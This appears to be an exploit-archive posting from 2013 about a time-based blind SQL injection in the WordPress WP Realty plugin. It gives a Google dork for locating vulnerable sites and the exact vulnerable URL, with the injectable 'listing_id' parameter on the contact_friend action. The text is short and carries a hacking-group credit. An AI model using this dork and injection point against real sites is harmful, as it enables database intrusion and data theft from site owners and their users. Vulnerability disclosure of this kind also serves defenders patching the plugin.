Home / exploits

PDF

WordPress WP Realty Blind SQL Injection

Posted on 18 October 2013

$$$$$$ $$ $$ $$$$$$
$$ __$$ $$ | $$ | $$ __$$
$$ / \__| $$ | $$ | $$ / \__|
$$ |$$$$ $$$$$$$$ | $$$$$$
$$ |\_$$ | $$ __$$ | \____$$
$$ | $$ | $$ | $$ | $$ $$ |
$$$$$$ |$$ $$ | $$ |$$\$$$$$$ |
 \______/ \__|\__| \__|\__|\______/

# Exploit Title: Wordpress - wp-realty - MySQL Time Based Injection
# Google Dork: inurl:"/wp-content/plugins/wp-realty/"
# Vendor: http://wprealty.org/
# Date: 10/08/2013
# Exploit Author: Napsterakos

Link: http://localhost/wordpress/wp-content/plugins/wp-realty/

Exploit: http://localhost/wordpress/wp-content/plugins/wp-realty/index_ext.php?action=contact_friend&popup=yes&listing_id=[SQLi]

Credits to: Greek Hacking Scene

 

TOP